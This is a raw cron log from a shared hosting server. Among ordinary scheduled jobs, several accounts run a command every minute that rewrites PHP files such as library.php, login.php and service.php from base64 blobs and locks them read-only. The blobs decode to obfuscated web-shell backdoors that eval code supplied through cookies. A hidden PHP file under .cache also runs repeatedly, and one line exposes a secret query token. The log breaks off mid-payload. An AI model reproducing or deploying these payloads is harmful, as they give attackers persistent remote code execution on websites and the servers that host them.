Mar  1 16:12:02 medusa CROND[23599]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 16:12:02 medusa CROND[23600]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 16:12:02 medusa CROND[23603]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 16:12:02 medusa CROND[23604]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Mar  1 16:12:02 medusa CROND[23605]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 16:12:02 medusa CROND[23619]: (revistaenergiaco) CMD (cd /home3/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Mar  1 16:12:02 medusa CROND[23621]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 16:12:02 medusa CROND[23623]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 16:12:02 medusa CROND[23620]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 16:13:01 medusa CROND[13292]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 16:13:01 medusa CROND[13293]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 16:13:01 medusa CROND[13294]: (anam1e7) CMD (php -q "/home16/anam1e7/public_html/wp-cron.php")
Mar  1 16:13:01 medusa CROND[13295]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 16:13:01 medusa CROND[13296]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 16:13:01 medusa CROND[13297]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Mar  1 16:13:01 medusa CROND[13298]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 16:13:01 medusa CROND[13299]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 16:13:01 medusa CROND[13302]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 16:13:01 medusa CROND[13303]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 16:13:01 medusa CROND[13306]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 16:13:01 medusa CROND[13308]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 16:13:01 medusa CROND[13309]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 16:13:01 medusa CROND[13311]: (adminanalia) CMD (cd /home12/adminanalia/public_html/espo; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Mar  1 16:14:02 medusa CROND[2897]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 16:14:02 medusa CROND[2898]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 16:14:02 medusa CROND[2899]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 16:14:02 medusa CROND[2900]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 16:14:02 medusa CROND[2903]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 16:14:02 medusa CROND[2909]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 16:14:02 medusa CROND[2914]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 16:14:02 medusa CROND[2915]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 16:14:02 medusa CROND[2919]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgI